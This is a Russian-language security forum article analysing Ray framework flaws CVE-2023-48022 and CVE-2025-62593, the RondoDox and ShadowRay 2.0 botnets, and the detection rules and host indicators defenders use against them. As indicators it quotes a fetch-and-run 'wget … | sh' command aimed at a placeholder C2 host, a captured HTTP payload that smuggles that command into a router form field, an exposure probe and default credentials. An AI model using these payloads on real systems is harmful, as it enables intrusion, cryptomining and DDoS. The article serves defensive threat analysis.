На проверке Ray Framework уязвимость: как CVE-2023-48022 и RondoDox превращают AI-кластеры в DDoS-ботнеты

Разобранный серверный блейд кластера Ray на антистатическом коврике: рука в синей перчатке подводит зонд к отладочному разъёму рядом с обугленным GPU-модулем, на экране диагностики мигает надпись п...


По данным Oligo Security, в каждом вручную проверенном кластере нашли следы компрометации - криптомайнеры, reverse shell, украденные credentials. Ботнет RondoDox, набравший 174 эксплойта за неполный год, подхватил уязвимость Ray в арсенал за два дня до публичного раскрытия PoC. Ниже - разбор обеих CVE, kill chain двух ботнет-кампаний и конкретные detection-правила для SOC.

Бизнес-логика атаки: зачем ботнетам AI-кластеры​

Типичный Ray-кластер - десятки или сотни нод с GPU (NVIDIA A100/H100), развёрнутых в AWS, GCP или on-premise. По оценке Oligo Security, один из скомпрометированных кластеров тянул на ~$4 миллиона годовой вычислительной мощности. Согласно CrowdStrike Global Threat Report 2025, число cloud intrusion кейсов выросло на 26% за год, а по Mandiant M-Trends 2025, эксплойты - 38% всех случаев initial access, опережая фишинг.

Для атакующего скомпрометированный AI-кластер - три параллельных вектора монетизации:
  1. Compute Hijacking (T1496.001, Impact) - запуск XMRig и других майнеров на GPU. Один GPU-нод генерирует в сотни раз больше хешрейта, чем IoT-роутер. Разница - как между велосипедом и болидом Формулы-1.
  2. Network Denial of Service (T1498, Impact) - каналы AI-инфраструктуры обычно 10–100 Gbps. DDoS через эксплуатацию Ray даёт совершенно другой масштаб трафика по сравнению с классическими IoT-ботнетами.
  3. Кража данных - переменные окружения содержат токены AWS/GCP, ключи Stripe, Slack, credentials к БД. По данным Oligo Security (ShadowRay), в одном из кейсов через NFS-маунт было экспонировано около 240 ГБ исходного кода, AI-моделей и датасетов.
Для CVE-2023-48022 с момента раскрытия прошло больше двух лет. Вендор не считает это уязвимостью и не выпускает патч в классическом смысле, однако начиная с версии 2.52.0 доступна опциональная token-аутентификация как компенсирующий контроль.

Две критические уязвимости Ray AI фреймворка​

CVE-2023-48022 - незакрытая уязвимость AI-инфраструктуры (CVSS 9.8)​

Работает если:
  • Ray Dashboard доступен из интернета (по умолчанию порт 8265, привязка к 0.0.0.0)
  • Версия Ray от 0 до 2.49.2 включительно (по данным OSV.dev, PyPI-пакет ray)
  • Аутентификация не включена (по умолчанию отключена)
Не работает если: кластер в изолированной сети без доступа извне, включена token-аутентификация (доступна с версии 2.52.0)

Ray Jobs API (/api/jobs/) принимает произвольный код на Python без аутентификации. И это не баг - это конструкторское решение. Разработчики Ray намеренно не реализовали аутентификацию, считая, что фреймворк работает внутри «строго контролируемой сетевой среды». Вектор CVSS:3.1 говорит сам за себя: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - атака по сети, сложность низкая, привилегии не нужны, взаимодействие пользователя не требуется, полная компрометация конфиденциальности, целостности и доступности.

CWE-918 (Server-Side Request Forgery) указывает на дополнительную attack surface: через Jobs API можно инициировать запросы к внутренним сервисам кластера. Проверка доступности - одна команда: curl -s http://<RAY_HOST>:8265/api/jobs/ | head -c 200. Если в ответ приходит JSON со списком задач - кластер открыт нараспашку.

EPSS: 0.8394 (percentile 0.9967) - экстремально высокая вероятность эксплуатации в 30-дневном окне. CISA SSVC: эксплуатация poc, автоматизируемость yes, техническое воздействие total. На GitHub лежит публичный PoC (jakabakos/ShadowRay-RCE-PoC-CVE-2023-48022), Nuclei-шаблон для сканирования опубликован (http/cves/2023/CVE-2023-48022.yaml).

Ситуация абсурдная: NVD, MITRE ATT&CK (кампания C0045) и Google OSV формально признают CVE-2023-48022 уязвимостью. Вендор - нет. Oligo Security назвала её «теневой уязвимостью»: статические сканеры её игнорируют, потому что Anyscale не признаёт баг. Shadow AI security риск в чистом виде - угроза, которую не видят инструменты, потому что её не считают угрозой.

CVE-2025-62593 - RCE через браузер разработчика (CVSS 4.0: 9.4, CRITICAL)​

Работает если:
  • Ray запущен локально (development/testing), Dashboard на порту 8265
  • Разработчик использует Firefox или Safari
  • Разработчик посещает вредоносный сайт или видит malicious-рекламу
  • Ray ниже версии 2.52.0
Не работает если: используется Chrome (NVD указывает уязвимость только для Firefox и Safari; конкретный механизм защиты Chromium не детализирован и требует отдельной проверки), включена token-аутентификация, порт 8265 заблокирован файрволом

Эта уязвимость нацелена не на публичный сервер, а на рабочую станцию разработчика. Вектор CVSS:4.0 - AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H - ключевое отличие от CVE-2023-48022: UI:P (User Interaction: Passive), то есть разработчик должен просто зайти на вредоносную страницу. CWE-94 (Code Injection) и CWE-352 (Cross-Site Request Forgery) описывают два аспекта атаки. Защита Ray Dashboard - блокировка запросов с User-Agent, начинающимся с «Mozilla» - обходится тривиально: в Firefox и Safari fetch() позволяет модифицировать заголовок User-Agent согласно спецификации fetch. В Chrome этот вектор, по данным NVD, не работает, хотя конкретный механизм Chromium не детализирован.

Атакующий комбинирует подмену User-Agent с DNS rebinding: вредоносный домен резолвится сначала на внешний IP, затем на 127.0.0.1 или внутренний IP корпоративной сети. Браузер считает, что работает с тем же доменом, и спокойно разрешает JavaScript отправить POST к Ray API. Красиво и мерзко одновременно.

CISA добавила CVE-2025-62593 в каталог KEV 17 августа 2026 года. Дедлайн устранения для FCEB-агентств - 20 августа, три дня. Это в рамках BOD 26-04, и для организаций, подпадающих под CISA KEV каталог уязвимостей, сроки обязательны. SSVC: exploitation active, automatable no (UI:P - нужно действие пользователя), technical impact total. Исправлена в Ray 2.52.0.

Отдельный вектор: браузер разработчика становится «confused deputy» - посредником для атаки на другие Ray-инстансы внутри корпоративной сети, куда у атакующего прямого доступа нет. Разработчик даже не узнает, что его браузер только что сломал пять внутренних кластеров.

RondoDox ботнет атаки: от IoT-устройств до GPU-кластеров​

RondoDox - Mirai-производный ботнет, впервые зафиксированный Bitsight в мае 2025 года. От Mirai его отличает специализация: RondoDox заточен под DDoS (Network Denial of Service, T1498.001), хотя тоже разворачивает майнеры и ворует credentials. Mirai дополнительно активно самораспространяется через сканирование и эксплуатацию новых хостов. За неполный год RondoDox, по данным Bitsight, набрал 174 эксплойта - нехарактерно жирный арсенал для ботнетов этого класса.

По тому же отчёту Bitsight, инфраструктура RondoDox включает 32 IP-адреса (16 для эксплуатации, 16 для хостинга пейлоадов), вероятно, на скомпрометированных резидентных IP. Пик - 15 000 попыток эксплуатации в день. Поддерживаются 18 архитектур процессоров: x86_64, ARM (несколько вариантов), MIPS, SPARC, PowerPC, SH4, ARC700, m68k. Зоопарк, одним словом.

Первый зафиксированный эксплойт - CVE-2023-1389 (command injection в TP-Link Archer AX21, CVSS 8.8, CWE-77). Эта CVE в CISA KEV с мая 2023 года, EPSS = 1.0000 - максимум, выше некуда. По данным Bitsight (процитированным The Hacker News), RondoDox добавил CVE-2025-62593 (уязвимость Ray) за два дня до публичного раскрытия PoC (точная дата раскрытия требует независимой верификации; CISA KEV добавила CVE-2025-62593 позднее - 17 августа 2026 года).

По данным Field Effect, RondoDox также эксплуатирует устройства с дефолтными credentials (admin:admin, root:icatch99 и др.) - атаки на AI фреймворки дополняют, а не заменяют классический IoT-вектор.

Kill chain RondoDox и маппинг на MITRE ATT&CK​

ЭтапMITRE ATT&CKДействие
РазведкаT1588.006 (Vulnerabilities)Мониторинг CVE-дискложуров и PoC до публичного раскрытия
Initial AccessT1190 (Exploit Public-Facing Application)POST к /api/jobs/ на Ray Dashboard или DNS rebinding через CVE-2025-62593
ExecutionT1059.004 (Unix Shell)Shell-скрипт без записи на диск: wget -qO- http://<C2>/rondo.*.sh \[/TD] [TD]sh
PersistenceCrontab modificationЗапись в crontab, удаление конкурирующей малвари
C2T1105 (Ingress Tool Transfer)Загрузка бинаря под конкретную архитектуру, аргумент формата <vuln>.<arch>
ImpactT1496.001 (Compute Hijacking)Запуск XMRig-майнера
ImpactT1498.001 (Direct Network Flood)DDoS-атаки через каналы AI-кластера
Resource DevT1584.005 (Botnet)Наращивание ботнет-инфраструктуры

Характерная деталь: пейлоад пайпится напрямую в sh - начальный имплант не записывается на диск, что усложняет forensic-анализ. Далее скрипт последовательно пробует скачать бинарь для каждой из 18 архитектур, пока одна не сработает. Грубо, но работает.

ShadowRay 2.0 - самовоспроизводящийся DDoS-ботнет в AI-инфраструктуре​

Параллельно с RondoDox действует группировка IronErn440 с кампанией ShadowRay 2.0, нацеленной на CVE-2023-48022. По данным Oligo Security, кампания активна с сентября 2024 года. MITRE присвоил ей идентификатор Campaign C0045.

Принципиальное отличие: ShadowRay 2.0 - самовоспроизводящийся ботнет. Скомпрометированные Ray-ноды автоматически ищут другие доступные кластеры и распространяют инфекцию. Червь, по сути. Многоцелевая платформа: криптомайнинг, DDoS, эксфильтрация данных.

Тактики уклонения от обнаружения - и вот тут начинается головная боль для SOC:
  • CPU ограничен до ~60% - алерты на 100% утилизацию не срабатывают. Хитро.
  • Маскировка под легитимные процессы - малварь выглядит как штатные Ray worker'ы. Без baseline поведения кластера SOC не отличит малварь от нормальной задачи.
  • Скрытие GPU usage - nvidia-smi не показывает использование GPU малварью. Нужен nvtop или dcgmi, чтобы увидеть расхождение.
  • DevOps-инфраструктура C2 - GitLab, затем GitHub для обновления пейлоадов. После блокировки аккаунта на GitHub 17 ноября 2025 года операция восстановлена за два часа.
  • AI-generated пейлоады - по оценке Oligo, структура, комментарии и паттерны обработки ошибок в GitLab-пейлоадах указывают на генерацию с помощью LLM. Ирония: AI ломает AI-инфраструктуру.
По данным Oligo, на одних и тех же нодах конкурируют несколько группировок: при заражении малварь удаляет чужих майнеров, терминирует конкурирующие процессы и устанавливает собственный persistence. Война за ресурсы внутри чужого кластера.

Detection: обнаружение эксплуатации unpatched vulnerability Ray в SIEM​

Сетевые индикаторы и правила корреляции​

1. HTTP-запросы к Ray Jobs API. Эксплуатация CVE-2023-48022 оставляет характерный паттерн - POST к /api/jobs/ или /api/job_agent/jobs/:
YAML:
title: Ray Jobs API Suspicious Access
logsource:
  category: webserver
detection:
  selection:
    cs-method: POST
    cs-uri-path|contains:
      - '/api/jobs'
      - '/api/job_agent/jobs'
  condition: selection
Ограничение: правило работает только при наличии reverse proxy перед Ray Dashboard, логирующего HTTP-запросы. Если Dashboard торчит напрямую - логов на этом уровне может не быть. И это как раз типичная ситуация.

2. User-Agent с email-паттерном RondoDox. По данным Bitsight, пейлоады содержат характерный маркер в заголовке User-Agent - email-адрес вида [email protected]. Фрагмент реального payload RondoDox из отчёта Bitsight (эксплуатация Linksys, демонстрирует общий паттерн IOC):
Код:
POST /tmUnblock.cgi HTTP/1.1
User-Agent: Mozilla/5.0 ([email protected])
Content-Type: application/x-www-form-urlencoded

ttcp_ip=-h `busybox wget -qO- http://<C2>/rondo.jbt.sh|sh`
Строка с @ в User-Agent и подстрока rondo в URL загрузки (rondo.jbt.sh, rondo.zqq.sh) - прямые IOC для IDS/WAF. Тот же паттерн наблюдается при эксплуатации Ray.

3. DNS rebinding (CVE-2025-62593). Для сред с разработчиками, использующими Ray локально: DNS-ответы, которые резолвят домен сначала на внешний IP, затем на 127.0.0.1 или RFC1918-диапазоны - аномалия, требующая алерта.

Хостовые IOC для SOC​

ИндикаторЧто проверятьИсточник
Процесс XMRigАргументы --coin, --pool, stratum+tcp:// в cmdlineBitsight, Oligo
Файлы с «rondo»/tmp/rondo*, writable-директорииBitsight
CPU 50–60% без ML-задачСтабильная утилизация на нодах без активного обученияOligo (ShadowRay 2.0)
Изменения crontabНовые записи, удаление чужих crontab-записейBitsight
Reverse shellИсходящие TCP на нестандартные порты к AWS IP-блокамOligo
Мульти-архитектурные бинариФайлы [I].mipsel, [/I].armv7l, *.x86_64 в /tmpBitsight
nvidia-smi расхождениеGPU usage = 0 в nvidia-smi, но nvtop/dcgmi показывают нагрузкуOligo

Критический момент: ShadowRay 2.0 маскирует процессы под штатные Ray worker'ы. Без baseline нормального поведения кластера - какие jobs запускаются, откуда, с какой частотой, какие subprocess создаются - алерт «ray worker запустил subprocess» неотличим от штатной работы. Построение baseline - обязательный шаг до внедрения detection-правил. Без него вы утонете в false positives.

Защита кластеров Ray от атак: hardening checklist​

Требования к окружению: firewall (iptables/nftables или облачные security groups), DNS-резолвер с защитой от rebinding, SIEM с подключёнными логами reverse proxy и auditd.
📚 Часть контента скрыта. Этот материал доступен участникам сообщества с рангом One Level или выше
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме

Ограничение всего чеклиста: каждый пункт предполагает, что SOC знает о существовании Ray-кластеров в периметре. Если ML-инженеры развернули кластер без согласования с ИБ - hardening применять просто некуда. А это, по моему опыту, самый частый сценарий.

Три года наблюдаю за этой историей: Oligo находит проблему в 2023, ShadowRay взламывает кластеры в 2024, RondoDox подключается в 2025, CISA добавляет в KEV в 2026 - а вендор продолжает говорить, что проблемы нет. В октябре 2025 года Anyscale передала Ray в PyTorch Foundation (Linux Foundation), но позиция не изменилась: «security issues described arise only when users expose unauthenticated endpoints to the public internet». Заявлено так - на практике, по данным Oligo Security, тысячи серверов Ray Dashboard обнаруживаются в открытом доступе.

Неудобная правда в том, что проблема не в CVE-2023-48022 и не в Anyscale. Проблема в том, что SOC в большинстве организаций не знает о существовании Ray-кластеров в своей инфраструктуре. ML-инженеры поднимают их без участия ИБ, потому что процесс согласования занимает недели, а модель нужно обучить к понедельнику. Shadow AI-инфраструктура живёт вне периметра ответственности SOC - с открытыми API, без аутентификации, без мониторинга. Это не уникально для Ray: Jupyter Notebook, MLflow, Kubeflow - тот же паттерн. Пока SOC не начнёт инвентаризировать AI-инфраструктуру как отдельный класс активов, подобные инциденты будут повторяться с каждым очередным фреймворком. По свежим инцидентам с компрометацией AI-кластеров на codeby.net разбираем кейсы и собираем detection-правила под разные стеки - стоит заглянуть, если Ray или подобные фреймворки есть в вашем периметре.
 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🧭 Навигатор · ИБ 2026
Не знаешь, какой трек твой?
5 направлений ИБ, реальные зарплаты и точка входа для каждого — в одном треде.
JuniorSenior+
100K → 600K+ ₽ /мес
Открыть навигатор →
🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab